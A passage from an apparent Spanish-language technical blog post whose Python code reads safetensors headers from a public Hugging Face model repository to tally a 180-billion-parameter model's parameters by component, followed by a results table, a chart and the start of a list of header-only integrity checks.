&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt;

&lt;span class="n"&gt;REPO&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;FINAL-Bench/Darwin-180B-RSI-R3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://huggingface.co/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;REPO&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/resolve/main/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;archivo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BASE&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;archivo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auditor/1.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bytes=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;cabecera&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shard&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;Q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;          &lt;span class="c1"&gt;# 8 bytes: largo del JSON
&lt;/span&gt;    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# solo el JSON, no los pesos
&lt;/span&gt;    &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__metadata__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;

&lt;span class="n"&gt;indice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;model.safetensors.index.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;weight_map&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;shards&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;indice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;ThreadPoolExecutor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;cabeceras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cabecera&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shards&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tipo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;visual&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vision&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mtp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mtp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ngram_embedding&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;embed_tokens&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;embeddings&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shared_expert&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;experto_compartido&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;experts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;expertos&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;linear_attn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;atencion_lineal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.self_attn.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;atencion_completa&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lm_head&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lm_head&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;otros&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;por_tipo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cabeceras&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;por_tipo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;tipo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;por_tipo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;tipo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;prod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shape&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;por_tipo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;por_tipo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;kv&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;kv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; %&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;TOTAL&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La salida real, medida hoy sobre el repositorio público:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Categoría&lt;/th&gt;
&lt;th&gt;Parámetros&lt;/th&gt;
&lt;th&gt;% del total&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Expertos enrutados&lt;/td&gt;
&lt;td&gt;120.795.955.200&lt;/td&gt;
&lt;td&gt;67,11 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embeddings (tablas n-gram + &lt;code&gt;embed_tokens&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;51.835.944.960&lt;/td&gt;
&lt;td&gt;28,80 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Capa MTP&lt;/td&gt;
&lt;td&gt;2.607.150.848&lt;/td&gt;
&lt;td&gt;1,45 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Atención lineal&lt;/td&gt;
&lt;td&gt;2.086.510.464&lt;/td&gt;
&lt;td&gt;1,16 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Otros (normas, routers, mezcla)&lt;/td&gt;
&lt;td&gt;736.378.915&lt;/td&gt;
&lt;td&gt;0,41 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lm_head&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;635.699.200&lt;/td&gt;
&lt;td&gt;0,35 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Atención completa&lt;/td&gt;
&lt;td&gt;617.358.336&lt;/td&gt;
&lt;td&gt;0,34 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Visión&lt;/td&gt;
&lt;td&gt;448.931.056&lt;/td&gt;
&lt;td&gt;0,25 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Experto compartido&lt;/td&gt;
&lt;td&gt;236.052.480&lt;/td&gt;
&lt;td&gt;0,13 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;179.999.981.459&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100 %&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Expertos%2520enrutados%2522%252C%2522Tablas%2520n-gram%2520%252B%2520embeddings%2522%252C%2522Capa%2520MTP%2522%252C%2522Atenci%255Cu00f3n%2520lineal%2522%252C%2522Otros%2522%252C%2522lm_head%2522%252C%2522Atenci%255Cu00f3n%2520completa%2522%252C%2522Visi%255Cu00f3n%2522%252C%2522Experto%2520compartido%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522%2525%2520del%2520total%2520de%2520par%255Cu00e1metros%2520%2528cabeceras%2520safetensors%2529%2522%252C%2522data%2522%253A%255B67.11%252C28.8%252C1.45%252C1.16%252C0.41%252C0.35%252C0.34%252C0.25%252C0.13%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%2523dc2626%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Darwin-180B-RSI-R3%253A%2520d%255Cu00f3nde%2520est%255Cu00e1n%2520los%2520179.999.981.459%2520par%255Cu00e1metros%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520del%2520total%2520de%2520par%255Cu00e1metros%2520%2528cabeceras%2520safetensors%2529%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Expertos%2520enrutados%2522%252C%2522Tablas%2520n-gram%2520%252B%2520embeddings%2522%252C%2522Capa%2520MTP%2522%252C%2522Atenci%255Cu00f3n%2520lineal%2522%252C%2522Otros%2522%252C%2522lm_head%2522%252C%2522Atenci%255Cu00f3n%2520completa%2522%252C%2522Visi%255Cu00f3n%2522%252C%2522Experto%2520compartido%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522%2525%2520del%2520total%2520de%2520par%255Cu00e1metros%2520%2528cabeceras%2520safetensors%2529%2522%252C%2522data%2522%253A%255B67.11%252C28.8%252C1.45%252C1.16%252C0.41%252C0.35%252C0.34%252C0.25%252C0.13%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232563eb%2522%252C%2522%2523dc2626%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%252C%2522%252364748b%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Darwin-180B-RSI-R3%253A%2520d%255Cu00f3nde%2520est%255Cu00e1n%2520los%2520179.999.981.459%2520par%255Cu00e1metros%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520del%2520total%2520de%2520par%255Cu00e1metros%2520%2528cabeceras%2520safetensors%2529%2522%257D%257D%255D%257D%257D%257D" alt="Parámetros por categoría" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La suma coincide al parámetro con el campo &lt;code&gt;safetensors.total&lt;/code&gt; de la API de Hugging Face (179.999.981.459, de los cuales 179.999.981.424 son BF16 y 35 son enteros I64). Esa coincidencia es la primera señal de que las cabeceras y el resumen de la plataforma cuentan la misma historia.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué comprobaciones de integridad se pueden hacer solo con cabeceras?
&lt;/h2&gt;

&lt;p&gt;Cuatro, todas sin descargar un solo peso:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Comprobación&lt;/th&gt;
&lt;th&gt;Resultado en R3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tamaño del archivo = 8 + n + mayor &lt;code&gt;data_offsets[1]&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;131 de 131 shards&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
